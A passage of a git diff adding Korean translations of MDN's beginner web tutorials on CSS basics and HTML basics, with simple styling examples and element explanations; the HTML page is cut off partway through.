+ <li><a href="/ko/docs/Learn/Tools_and_testing/Understanding_client-side_tools">클라이언트 웹 개발 도구 이해하기</a> (20–25 hour read)</li>
+ <li>
+  <p><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">Javascript 클라이언트 프레임워크 이해하기</a> (30-60 hour read/exercises)</p>
+ </li>
+</ul>
diff --git a/files/ko/learn/getting_started_with_the_web/css_기본/index.html b/files/ko/learn/getting_started_with_the_web/css_기본/index.html
new file mode 100644
index 0000000000..a5e8e08648
--- /dev/null
+++ b/files/ko/learn/getting_started_with_the_web/css_기본/index.html
@@ -0,0 +1,293 @@
+---
+title: CSS 기초
+slug: Learn/Getting_started_with_the_web/CSS_기본
+tags:
+  - CSS
+  - 'l10n:priority'
+  - 꾸미기
+  - 스크립트 코딩
+  - 웹
+  - 초보자
+  - 학습
+translation_of: Learn/Getting_started_with_the_web/CSS_basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>CSS (Cascading Style Sheets)는 웹페이지를 꾸미려고 작성하는 코드입니다. <em>CSS 기초 </em>에서 여러분이 처음 시작하며 필요한 내용을 익히도록 도와드립니다. 저희는 다음과 같은 질문에 관한 답을 드리겠습니다. 어떻게 하면 글자색을 검정이나 빨갛게 할 수 있을까? 어떻게 하면 콘텐츠를 화면의 이런 저런 곳에 보이게 할 수 있을까? 어떻게 하면 배경 이미지와 색상들로 웹페이지를 꾸밀 수 있을까?</p>
+</div>
+
+<h2 id="그래서_CSS가_뭔가요">그래서 CSS가 뭔가요?</h2>
+
+<p>HTML와 같이 CSS는 실제로 프로그래밍 언어는 아닙니다. <em>마크업(markup) 언어 </em>도 아닙니다. <em>Style sheet 언어 </em>입니다. HTML 문서에 있는 요소들에 선택적으로 스타일을 적용할 수 있다는 말입니다. 예를 들면, HTML 페이지에서 <strong>모든</strong> 문단 요소들을 선택하고 그 문단 요소들 안에 있는 텍스트를 빨갛게 바꾸려고 한다면 다음과 같이 CSS를 작성할 것입니다.</p>
+
+<pre class="brush: css">p {
+  color: red;
+}</pre>
+
+<p>한 번 해봅시다. 텍스트 에디터의 새 파일에 위의 CSS 3줄을 복사해 붙여넣으세요. 그다음에 <code>styles</code> 디렉토리에 <code>style.css</code>로 파일을 저장하세요.</p>
+
+<p>아직 여러분의 HTML 문서에 CSS를 적용하는 것이 남아 있습니다. 그렇지 않으면 CSS 스타일은 그 HTML 문서가 브라우저에 표시될 때 아무 영향도 주지 않을 것입니다. (여러분이 우리 프로젝트를 따라오지 않으셨다면, <a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 다루기</a>와 <a href="/ko/Learn/Getting_started_with_the_web/HTML_basics">HTML 기본</a>을 읽고 무엇이 먼저 필요한지를 알아보시기 바랍니다.)</p>
+
+<ol>
+ <li><code>index.html</code> 파일을 열고 head의 안쪽 어딘가(즉, <code>&lt;head&gt;</code>와 <code>&lt;/head&gt;</code> 태그 사이)에 아래의 코드를 붙여 넣으세요:
+
+  <pre class="brush: html">&lt;link href="styles/style.css" rel="stylesheet" type="text/css"&gt;</pre>
+ </li>
+ <li><code>index.html</code>을 저장하고 브라우저에서 불러오세요. 여러분은 다음과 같은 것을 보게 되실겁니다:</li>
+</ol>
+
+<p><img alt="A mozilla logo and some paragraphs. The paragraph text has been styled red by our css." src="https://mdn.mozillademos.org/files/9435/website-screenshot-styled.png" style="display: block; height: 832px; margin: 0px auto; width: 711px;">문단의 글자가 빨간색이라면 축하드립니다! 지금 여러분은 첫번째 CSS 를 성공적으로 작성하셨습니다!</p>
+
+<h3 id="CSS의_ruleset_해부">CSS의 ruleset 해부</h3>
+
+<p>위의 CSS를 좀 더 자세히 살펴 봅시다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9461/css-declaration-small.png" style="display: block; height: 480px; margin: 0px auto; width: 850px;"></p>
+
+<p>전체 구조는 <strong>rule set </strong>라 불립니다 (하지만 종종 줄여서 "rule"이라고 합니다). 각 부분의 이름에도 주목하세요:</p>
+
+<dl>
+ <dt>선택자(selector)</dt>
+ <dd>rule set의 맨 앞에 있는 HTML 요소 이름. 이것은 꾸밀 요소(들)을 선택합니다 (이 예에서는 p 요소). 다른 요소를 꾸미기 위해서는 선택자만 바꿔주세요.</dd>
+ <dt>선언</dt>
+ <dd><code>color: red</code>와 같은 단일 규칙; 여러분이 꾸미기 원하는 요소의 속성을 명시합니다.</dd>
+ <dt>속성(property)</dt>
+ <dd>주어진 HTML 요소를 꾸밀 수 있는 방법입니다. (이 예에서, <code>color</code>는 p 요소의 속성입니다.) CSS에서, rule 내에서 영향을 줄 속성을 선택합니다.</dd>
+ <dt>속성 값</dt>
+ <dd>속성의 오른쪽에, 콜론 뒤에, 주어진 속성을 위한 많은 가능한 결과중 하나를 선택하기 위해 속성 값을 갖습니다 (<code>color</code> 의 값에는 <code>red</code> 외에 많은 것이 있습니다).</dd>
+</dl>
+
+<p>구문의 다른 중요한 부분들도 주목하세요:</p>
+
+<ul>
+ <li>각각의 rule set (셀렉터로 구분) 은 반드시 (<code>{}</code>) 로 감싸져야 합니다.</li>
+ <li>각각의 선언 안에, 각 속성을 해당 값과 구분하기 위해 콜론 (:)을 사용해야만 합니다.</li>
+ <li>각각의 rule set 안에, 각 선언을 그 다음 선언으로부터 구분하기 위해 세미콜론 (;)을 사용해야만 합니다.</li>
+</ul>
+
+<p>그러니까 여러 속성 값들을 한번에 수정하기 위해서는, 세미콜론으로 구분해서 작성해야 합니다, 이렇게요:</p>
+
+<pre class="brush: css">p {
+  color: red;
+  width: 500px;
+  border: 1px solid black;
+}</pre>
+
+<h3 id="여러_요소_선택하기">여러 요소 선택하기</h3>
+
+<p>여러분은 요소의 여러 타입을 선택하고 모두에게 하나의 rule set 을 적용할 수도 있습니다. 여러 선택자는 콤마로 구분합니다. 예를 들면:</p>
+
+<pre class="brush: css">p,li,h1 {
+  color: red;
+}</pre>
+
+<h3 id="선택자의_여러_종류">선택자의 여러 종류</h3>
+
+<p>선택자는 여러 종류가 있습니다. 위에서, 우리는 주어진 HTML 문서안에 주어진 타입의 모든 요소를 선택하는 <strong>요소 선택자</strong>만 보았습니다. 하지만 이것보다 더 구체적인 선택을 만들 수 있습니다. 이것은 선택자의 일반적인 종류들입니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">선택자 이름</th>
+   <th scope="col">선택하는 것</th>
+   <th scope="col">예시</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>요소 선택자 (때때로 태그 또는 타입 선택자라 불림)</td>
+   <td>특정 타입의 모든 HTML 요소.</td>
+   <td><code>p</code><br>
+    <code>&lt;p&gt; 를 선택</code></td>
+  </tr>
+  <tr>
+   <td>아이디 선택자</td>
+   <td>특정 아이디를 가진 페이지의 요소 (주어진 HTML 페이지에서, 아이디당 딱 하나의 요소만 허용됩니다).</td>
+   <td><code>#my-id</code><br>
+    <code>&lt;p id="my-id"&gt;</code>  또는  <code>&lt;a id="my-id"&gt;</code> 를 선택</td>
+  </tr>
+  <tr>
+   <td>클래스 선택자</td>
+   <td>특정 클래스를 가진 페이지의 요소 (한 페이지에 클래스가 여러번 나타날 수 있습니다).</td>
+   <td><code>.my-class</code><br>
+    <code>&lt;p class="my-class"&gt;</code> 와 <code>&lt;a class="my-class"&gt;</code> 를 선택</td>
+  </tr>
+  <tr>
+   <td>속성 선택자</td>
+   <td>특정 속성을 갖는 페이지의 요소.</td>
+   <td><code>img[src]</code><br>
+    <code>&lt;img src="myimage.png"&gt;</code> 를 선택하지만 <code>&lt;img&gt; </code> 는 선택 안함</td>
+  </tr>
+  <tr>
+   <td>수도(Pseudo) 클래스 선택자</td>
+   <td>특정 요소이지만 특정 상태에 있을 때만, 예를 들면, hover over 상태일 때.</td>
+   <td><code>a:hover</code><br>
+    <code>&lt;a&gt;</code> 를 선택하지만, 마우스 포인터가 링크위에 있을 때만 선택함</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>탐구할 더 많은 선택자가 있습니다. 더 자세한 목록은 <a href="/en-US/docs/Web/Guide/CSS/Getting_started/Selectors">선택자 가이드</a>에서 찾아보세요.</p>
+
+<h2 id="글꼴과_문자">글꼴과 문자</h2>
+
+<p>지금까지 약간의 CSS 기본에 대해 살펴보았습니다, 우리의 예제가 멋있게 보이도록 <code>style.css</code> 파일에 더  많은 rule 과 정보를 추가해 봅시다. 우선, 글꼴과 문자가 조금 더 나아보이도록 해보죠.</p>
+
+<div class="note">
+<p><strong>노트</strong>: "px" 가 무슨 뜻인지 설명하는 주석을 추가해 두었습니다. CSS 문서의 /* 와 */ 사이에 있는 것은 브라우저가 코드를 표현할 때 무시하는 <strong>CSS 주석</strong>입니다. 여러분이 하고 있는 것에 대한 유용한 메모를 작성하기 위한 공간입니다.</p>
+</div>
+
+<ol>
+ <li>먼저, 돌아가서 여러분이 안전한 어딘가에 저장해 두었던 <a href="/ko/docs/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like#Font">구글 글꼴의 결과물</a>을 찾으세요. <code>index.html</code> 의 head 안 어딘가에 <code>&lt;link&gt;</code> 요소를 추가하세요 (다시 말해서, <code>&lt;head&gt;</code> 와 <code>&lt;/head&gt;</code> 태그 사이 어디에나). 이런식이 될 겁니다:
+
+  <pre class="brush: html">&lt;link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'&gt;</pre>
+ </li>
+ <li>다음으로, <code>style.css</code> 파일에 이미 존재하는 rule 을 지우세요. 좋은 테스트였지만, 빨간색의 글자가 정말 좋아 보이지는 않습니다.</li>
+ <li>아래의 코드를 해당 위치에 추가하고, 구글 폰트로부터 얻은 <code>font-family</code> 코드를 placeholder 줄에 덮어쓰세요. (<code>font-family</code> 는 여러분이 글자를 위해 사용하길 원하는 글꼴을 의미합니다.) 이 rule 은 먼저 전체 페이지의 글자 크기와 기본 글꼴을 설정합니다. (<code>html</code>이 전체 페이지의 부모 요소일 때, 이 안의 모든 요소는 같은 <code>font-size</code> 와 <code>font-family</code> 를 물려 받습니다):
+  <pre class="brush: css">html {
+  font-size: 10px; /* px 은 'pixels' 를 의미합니다: 기본 글자 크기는 현재 10 pixels 높이입니다. */
+  font-family: placeholder: 구글 폰트로부터 여러분이 얻은 마지막 결과가 있어야합니다.
+}</pre>
+ </li>
+ <li>이제 HTML body 안에 문자를 포함하는 요소 <code>h1</code>, <code>li</code> 및 <code>p</code> 를 위해 글자 크기를 설정할 것입니다. 또한 조금 더 읽기 좋게 하기 위해 body 콘텐츠의 제목을 가운데 정렬하고 줄의 높이(line-height)와 자간(lettet-spacing)도 설정할 것입니다:
+  <pre class="brush: css">h1 {
+  font-size: 60px;
+  text-align: center;
+}
+
+p, li {
+  font-size: 16px;
+  line-height: 2;
+  letter-spacing: 1px;
+}</pre>
+ </li>
+</ol>
+
+<p><code>px(픽셀)</code> 값들은 여러분이 원하는대로 조정할 수 있지만, 여러분이 원하는 디자인을 얻도록, 여러분의 디자인은 이런식으로 보여야 합니다:</p>
+
+<p><img alt="a mozilla logo and some paragraphs. a sans-serif font has been set, the font sizes, line height and letter spacing are adjusted, and the main page heading has been centered" src="https://mdn.mozillademos.org/files/9447/website-screenshot-font-small.png" style="display: block; height: 1020px; margin: 0px auto; width: 921px;"></p>
+
+<h2 id="박스_박스_박스의_모든_것">박스, 박스, 박스의 모든 것</h2>
+
+<p>CSS 작성에서 여러분이 알게 될 한 가지는 많은 것들이 박스에 관한 것이라는 겁니다 — 그들의 크기, 색상, 위치 등을 설정하는 것. 여러분의 페이지에 있는 대부분의 HTML 요소들은 서로의 위에 놓여있는 박스로 생각해볼 수 있습니다.</p>
+
+<p><img alt="a big stack of boxes or crates sat on top of one another" src="https://mdn.mozillademos.org/files/9441/boxes.jpg" style="display: block; height: 463px; margin: 0px auto; width: 640px;"></p>
+
+<p>놀랍지 않게도, CSS 레이아웃은 <em>박스모델 </em>을 주 기반으로 하고 있습니다. 여러분의 페이지의 공간을 차지하고 있는 각각의 블록들은 이와 같은 속성들을 가집니다:</p>
+
+<ul>
+ <li><code>padding</code>, 컨텐트 주위의 공간 (예, 문단 글자의 주위)</li>
+ <li><code>border</code>, padding 의 바깥쪽에 놓인 실선</li>
+ <li><code>margin</code>, 요소의 바깥쪽을 둘러싼 공간</li>
+</ul>
+
+<p><img alt="three boxes sat inside one another. From outside to in they are labelled margin, border and padding" src="https://mdn.mozillademos.org/files/9443/box-model.png" style="display: block; height: 450px; margin: 0px auto; width: 574px;"></p>
+
+<p>여기서 이런 것도 사용합니다:</p>
+
+<ul>
+ <li><code>width</code> (한 요소의 너비)</li>
+ <li><code>background-color</code>, 요소의 콘텐츠와 padding 의 배경 색</li>
+ <li><code>color</code>, 한 요소의 콘텐츠 색 (일반적으로 글자색)</li>
+ <li><code>text-shadow</code>: 한 요소 안의 글자에 그림자를 적용</li>
+ <li><code>display</code>: 요소의 표시 형식을 설정합니다 (이것에 대해선 아직 걱정하지마세요)</li>
+</ul>
+
+<p>그럼, 우리의 페이지에 더 많은 CSS를 추가해봅시다! 페이지의 아래에 이러한 새로운 rule 을 계속 추가하세요, 그리고 값을 바꾸는 실험을 통해 이것이 어떤 결과가 나타나는지 보는것을 두려워하지 마세요.</p>
+
+<h3 id="페이지_색_바꾸기">페이지 색 바꾸기</h3>
+
+<pre class="brush: css">html {
+  background-color: #00539F;
+}</pre>
+
+<p>이 rule 은 전체 페이지를 위한 배경색을 설정합니다. 위의 색상 코드를 <a href="/en-US/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like#Theme_color">여러분의 사이트를 계획할 때 선택했던</a> 색으로 변경하세요.</p>
+
+<h3 id="body_외부_정렬하기">body 외부 정렬하기</h3>
+
+<pre class="brush: css">body {
+  width: 600px;
+  margin: 0 auto;
+  background-color: #FF9500;
+  padding: 0 20px 20px 20px;
+  border: 5px solid black;
+}</pre>
+
+<p>이제는 body 요소를 위한 것입니다. 여기 적지 않은 선언들이 있습니다. 하나 하나 모두 살펴 봅시다:</p>
+
+<ul>
+ <li><code>width: 600px;</code> — 이것은 body가 항상 600 pixels 의 너비를 갖도록 강제합니다.</li>
+ <li><code>margin: 0 auto;</code> — 여러분이 <code>margin</code> 또는 <code>padding</code> 처럼 한 속성에 두개의 값을 설정할 때, 첫 번째 값은 요소의 상단과 하단 (이 예시에서는 0입니다) 에 영향을 주고, 두 번째 값은 좌측 <strong>과 </strong>우측 (여기서, <code>auto</code> 는 가능한 수평공간의 왼쪽과 오른쪽을 같게 나눠주는 특별한 값입니다) 에 영향을 줍니다. 여러분은 또한 하나, 셋, 또는 네개의 값을 사용할 수도 있습니다. <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/margin#Values">여기</a>에 문서화 되어 있습니다.</li>
+ <li><code>background-color: #FF9500;</code> — 전과 같이, 이것은 요소의 배경색을 설정합니다. <code>html</code> 요소를 위한 짙은 파란색에 반대되도록 body 에는 붉은 빛을 띄는 오렌지색 같은 것을 사용했었습니다. 한번 시험해보세요. 흰색이나 여러분이 원하는 어떤 색이든 편하게 사용해보세요.</li>
+ <li><code>padding: 0 20px 20px 20px;</code> — padding 에는 콘텐츠의 주위에 약간의 공간을 주기 위한 네 개의 값이 있습니다. 이번엔 body의 상단에 no padding, 그리고 왼쪽, 아래 그리고 오른쪽에 20 pixels 을 설정하고 있습니다. 상단, 우측, 하단, 좌측 순서로 값을 설정합니다.(12시부터 시계방향)</li>
+ <li><code>border: 5px solid black;</code> — 이것은 간단하게 body 모든 면의 border 를 5 pixels 두깨의 실선으로 설정합니다.</li>
+</ul>
+
+<h3 id="메인_페이지_제목_배치하고_꾸미기">메인 페이지 제목 배치하고 꾸미기</h3>
+
+<pre class="brush: css">h1 {
+  margin: 0;
+  padding: 20px 0;
+  color: #00539F;
+  text-shadow: 3px 3px 1px black;
+}</pre>
+
+<p>여러분은 바디의 상단에 끔찍한 틈이 있다는 것을 알아차리셨을 겁니다. 브라우저가 <code>h1</code> 요소에 (다른 것들 사이에서) 어떤 <strong>초기 스타일링</strong>을 적용하기 때문에 발생합니다, 심지어 여러분이 아무런 CSS 를 적용하지 않았을 때도요! 안좋은 아이디어로 들릴수도 있지만, 우리는 꾸며지지 않은 웹사이트일지라도 기본적인 가독성을 갖기를 원합니다. <code>margin: 0;</code>.설정에 의해 초기 스타일링을 덮어쓰는 것으로 그 틈을 제거할 수 있습니다.</p>
+
+<p>다음으로, 제목의 상단과 하단 padding 을 20 pixels로 설정하고, 제목 글자 색을 html 배경색과 같게 만들었습니다.</p>
+
+<p>여기서 사용했던 꽤 흥미로운 속성 하나는 <code>text-shadow</code> 문자로, 요소의 문자 콘텐츠에 그림자를 적용해줍니다. 네 개의 값들은 다음과 같습니다:</p>
+
+<ul>
+ <li>첫 번째 pixel 값은 그림자의 <strong>수평 오프셋</strong>을 설정합니다 — 얼마나 옆으로 이동시킬 것인지.</li>
+ <li>두 번째 pixel 값은 그림자의 <strong>수직 오프셋</strong>을 설정합니다 — 얼마나 아래로 이동시킬 것인지.</li>
+ <li>세 번째 pixel 값은 그림자의 <strong>흐림 반경</strong>을 설정합니다 — 큰 값은 더 흐릿한 그림자를 의미합니다.</li>
+ <li>네 번째 pixel 값은 그림자의 기본 색상을 설정합니다.</li>
+</ul>
+
+<p>다시, 여러분이 무엇을 확인해 볼 수 있는지 다른 값으로 실험을 해보세요.</p>
+
+<h3 id="이미지_가운데_정렬">이미지 가운데 정렬</h3>
+
+<pre class="brush: css">img {
+  display: block;
+  margin: 0 auto;
+}</pre>
+
+<p>마지막으로, 이미지를 더 나아보이도록 가운데로 둘 것입니다. 전에 body 에서 했듯이 다시 <code>margin: 0 auto</code> 트릭을 사용해 볼 수 있지만, 무언가 더 해야할 필요가 있습니다. <code>body</code> 요소는 <strong>block level</strong> 입니다. 이것은 페이지의 공간을 차지하고, margin 과 여기에 적용된 다른 여백값을 가질 수 있다는 것을 의미합니다. 반면에 이미지는 <strong>inline</strong> 요소 입니다. 이것은 그렇지 못함을 의미합니다. 따라서 이미지에 margin 을 적용하기 위해서는,  <code>display: block;</code> 을 사용해 이미지에 block-level 성질을 주어야 합니다.</p>
+
+<div class="blockIndicator note">
+<p>노트: 위의 지침에서는 body에 설정된 너비(600 픽셀) 보다 작은 이미지를 사용한다고 가정합니다. 이미지가 더 크면 body가 넘쳐 페이지의 나머지 부분으로 유출됩니다. 이 문제를 해결하려면 1) <a href="https://ko.wikipedia.org/wiki/%EA%B7%B8%EB%9E%98%ED%94%BD_%EC%86%8C%ED%94%84%ED%8A%B8%EC%9B%A8%EC%96%B4">그래픽 편집기</a>를 사용하여 이미지의 너비를 줄이거나 2) 더 작은 값(예: <code>400px</code>)  으로 <code>&lt;img&gt;</code> 요소에 width 속성을 설정하고 CSS를 사용하여 이미지 크기를 조정할 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>노트</strong>: 아직 <code>display: block;</code> 과 block-level/inline 차이를 이해하지 못하였더라도 걱정하시마세요. CSS 를 더 깊게 공부하면 이해하실 수 있을것입니다. display 의 여러 값들에 대한 더 많은 정보는 <a href="/en-US/docs/Web/CSS/display">display 참조</a> 페이지에서 찾아보세요.</p>
+</div>
+
+<h2 id="마무리">마무리</h2>
+
+<p>이 글의 모든 설명을 따라오셨다면, 이와 같이 보이는 페이지가 되실 겁니다. (<a class="external external-icon" href="http://mdn.github.io/beginner-html-site-styled/">여기서</a> 확인하실 수도 있습니다):</p>
+
+<p><img alt="a mozilla logo, centered, and a header and paragraphs. It now looks nicely styled, with a blue background for the whole page and orange background for the centered main content strip." src="https://mdn.mozillademos.org/files/9455/website-screenshot-final.png" style="display: block; height: 1084px; margin: 0px auto; width: 940px;"></p>
+
+<p>혹시 막히셨다면, 여러분의 코드와 Github에 있는 우리의 <a href="https://github.com/mdn/beginner-html-site-styled/blob/gh-pages/styles/style.css">예제 코드</a>와 항상 비교해보세요.</p>
+
+<p>여기서, 우리는 CSS의 겉만 살짝 맛봤습니다. 더 많은 것이 알고 싶으시면 <a href="https://developer.mozilla.org/en-US/Learn/CSS">CSS 배우기</a> 페이지로 가보세요.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/HTML_basics", "Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="이번_과목에서는">이번 과목에서는</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치 방법</a></li>
+ <li id="What_will_your_website_look_like"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/What_will_your_website_look_like">What will your website look like?</a></li>
+ <li id="Dealing_with_files"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 다루기</a></li>
+ <li id="HTML_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML 기본 사항</a></li>
+ <li id="CSS_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/CSS_basics">CSS 기본 사항</a></li>
+ <li id="JavaScript_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 기본 사항</a></li>
+ <li id="Publishing_your_website"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">웹 사이트 출판</a></li>
+ <li id="How_the_web_works"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">웹 작동 방식</a></li>
+</ul>
diff --git a/files/ko/learn/getting_started_with_the_web/html_기본/index.html b/files/ko/learn/getting_started_with_the_web/html_기본/index.html
new file mode 100644
index 0000000000..530f3fe11f
--- /dev/null
+++ b/files/ko/learn/getting_started_with_the_web/html_기본/index.html
@@ -0,0 +1,234 @@
+---
+title: HTML 기본
+slug: Learn/Getting_started_with_the_web/HTML_기본
+tags:
+  - Beginner
+  - HTML
+  - Learn
+  - Web
+  - 'l10n:priority'
+  - 입문자
+translation_of: Learn/Getting_started_with_the_web/HTML_basics
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>HTML(<strong>H</strong>yper<strong>t</strong>ext <strong>M</strong>arkup <strong>L</strong>anguage)은 웹 페이지와 그 내용을 구조화하기 위해 사용하는 코드입니다. 예를 들면, 컨텐트는 여러 개의 문단, 글 머리 목록이 구조화된 것이거나 사진이나 데이터 테이블일 수도 있습니다. 제목과 같이 이 글은 HTML과 그 기능에 대한 기본적인 이해를 제공할 것입니다.</p>
+</div>
+
+<h2 id="그래서_HTML은_무엇일까요">그래서 HTML은 무엇일까요?</h2>
+
+<p>HTML 은 프로그래밍 언어가 아닙니다;  컨텐츠의 구조를 정의하는 마크업 언어입니다. HTML은 컨텐츠의 서로 다른 부분들을 씌우거나(wrap) 감싸서(enclose) 다른 형식으로 보이게하거나 특정한 방식으로 동작하도록 하는 일련의 <strong>요소({{Glossary("element", "elements")}})</strong>로 이루어져 있습니다. {{Glossary("tag", "tags")}}로 감싸는 것으로 단어나 이미지를 다른 어딘가로 하이퍼링크(hyperlink)하거나 단어들을 이탤릭체로 표시하고 글씨체를 크게 또는 작게 만드는 등의 일을 할 수 있습니다. 예를 들어, 다음과 같은 컨텐츠에 대해:</p>
+
+<pre>내 고양이는 고약해
+</pre>
+
+<p>그 한 줄의 문장이 독립적인 구문이길 원한다면, 문단 태그(paragraph tags)로 둘러쌈으로해서 그것이 하나의 문단임을 명시할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;p&gt;내 고양이는 고약해&lt;/p&gt;</pre>
+
+<h3 id="HTML_요소_분석">HTML 요소 분석</h3>
+
+<p>이 문단 요소에 대해 조금 더 탐구해봅시다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9347/grumpy-cat-small.png" style="display: block; height: 255px; margin: 0px auto; width: 821px;"></p>
+
+<p>이 요소의 주요 부분은 이렇습니다:</p>
+
+<ol>
+ <li><strong>여는 태그(opening tag)</strong>: 이것은 요소의 이름으로 구성되고 (여기에서는 p), 여닫는 꺾쇠괄호로 감싸집니다. 이것은 요소가 시작되는 곳, 또는 효과를 시작하는 곳임을 나타냅니다 — 이 예제에서는 문단이 시작되는 위치를 나타냅니다.</li>
+ <li><strong>닫는 태그(closing tag)</strong>: 이것은 여는 태그와 같지만, 요소의 이름 앞에 전방향 슬래시가 포함된다는 점이 다릅니다. 이것은 요소의 끝을 나타냅니다 — 이 예제에서는 문단이 끝나는 위치를 나타냅니다. 초보자가 가장 흔히 범하는 오류 중 하나가 닫는 태그를 쓰지 않는 것으로 이상한 결과가 표시됩니다.</li>
+ <li><strong>컨텐츠(content)</strong>: 이것은 요소의 내용(content)으로 이 예제에서는 그냥 텍스트입니다.</li>
+ <li><strong>요소(element)</strong>: 요소는 여는 태그와 닫는 태그, 그리고 컨텐츠로 이루어집니다.</li>
+</ol>
+
+<p>요소는 속성도 가질 수 있는데, 다음과 같이 사용합니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
+
+<p>속성은 실제 컨텐츠로 표시되길 원하지 않는 추가적인 정보를 담고 있습니다. 이 예제에서, class 속성을 이용해 나중에 해당 요소를 특정해 스타일이나 다른 정보를 설정할 때 사용할 수 있는 식별자를 지정할 수 있습니다.</p>
+
+<p>속성이 항상 가져야 하는 것:</p>
+
+<ol>
+ <li>요소 이름 (또는 요소가 하나 이상 속성을 이미 가지고 있다면 이전 속성)과 속성 사이에 공백이 있어야 합니다.</li>
+ <li>속성 이름 뒤에는 등호(=)가 와야 합니다.</li>
+ <li>속성 값의 앞 뒤에 열고 닫는 인용부호(" 또는 ')가 있어야 합니다.</li>
+</ol>
+
+<h3 id="요소_중첩">요소 중첩</h3>
+
+<p>여러분은 요소를 다른 요소의 안에 놓을 수 있습니다 — 이것을 <strong>중첩(nesting)</strong>이라고 부릅니다. 우리 고양이는 <strong>아주</strong> 고약하다라고 표시하길 원한다면, 단어를 강조하는 용도로 사용하는{{htmlelement("strong")}} 요소로 "아주"를 감싸면 됩니다:</p>
+
+<pre class="brush: html">&lt;p&gt;내 고양이는 &lt;strong&gt;아주&lt;/strong&gt; 고약해.&lt;/p&gt;</pre>
+
+<p>하지만 요소가 적절히 중첩되었는지 확인할 필요가 있습니다: 위의 예제에서 우리는 &lt;p&gt; 요소를 먼저 열었고, 그 다음 strong을 열었기 때문에 strong 요소를 먼저 닫고, 다음으로 p를 닫아야 합니다. 다음은 잘못된 예제 입니다:</p>
+
+<pre class="brush: html">&lt;p&gt;내 고양이는 &lt;strong&gt;아주 고약해.&lt;/p&gt;&lt;/strong&gt;</pre>
+
+<p>요소들이 적절히 열고 닫혀야 서로가 깔끔하게 안쪽이나 바깥쪽에 있게 됩니다. 만약 이렇게 겹치게 되면, 웹 브라우저는 여러분이 무엇을 표현하려고 했었는지 추측을 해서 화면에 보여주겠지만, 여러분이 의도한 것과 다르게 보여질 수 있습니다. 그러니까 이렇게 하지 마세요!</p>
+
+<h3 id="빈_요소">빈 요소</h3>
+
+<p>어떤 요소들은 내용을 갖지 않습니다, 그리고 이것을 <strong>빈 요소(empty elements)</strong>라고 합니다. {{htmlelement("img")}} 요소는 이미 우리 HTML 코드에 있습니다.</p>
+
+<pre class="brush: html">&lt;img src="images/firefox-icon.png" alt="My test image"&gt;</pre>
+
+<p>이 요소는 두 개의 속성을 포함하고 있으나 닫는 &lt;/img&gt; 태그가 없습니다. 이미지 요소는 효과를 주기 위해 컨텐츠를 감싸지 않기 때문입니다. 이 요소의 목적은 HTML 페이지에서 이미지가 나타날 위치에 이미지를 끼워 넣는 것입니다.</p>
+
+<h3 id="HTML_문서_해부">HTML 문서 해부</h3>
+
+<p>각 HTML 요소의 기본적인 내용들은 살펴봤지만, 그것만으로는 별로 유용하지 않습니다. 이제 각 요소들이 어떻게 전체 HTML 페이지를 구성하는지 살펴볼 차례입니다. <code>index.html</code> 예제(<a href="/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일들 다루기</a> 편에서 처음 봤던)에 넣은 코드를 다시 살펴봅시다:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;My test page&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;img src="images/firefox-icon.png" alt="My test image"&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>살펴볼 것들:</p>
+
+<ul>
+ <li><code>&lt;!DOCTYPE html&gt;</code> — doctype. 아주 오래전 HTML 이 막 나왔을 때 (1991년 2월쯤), doctype은 (자동 오류 확인이나 다른 유용한 것을 의미하는) good HTML로 인정받기 위해 HTML 페이지가 따라야 할 일련의 규칙으로의 연결통로로써 작동하는 것을 의미하였습니다. 하지만, 최근에는 아무도 그런 것들에 대해 신경쓰지 않으며 그저 모든 것이 올바르게 동작하게 하기 위해 포함되어야 할 역사적인 유물일 뿐입니다. 지금은, 그게 알아야 할 전부 입니다.</li>
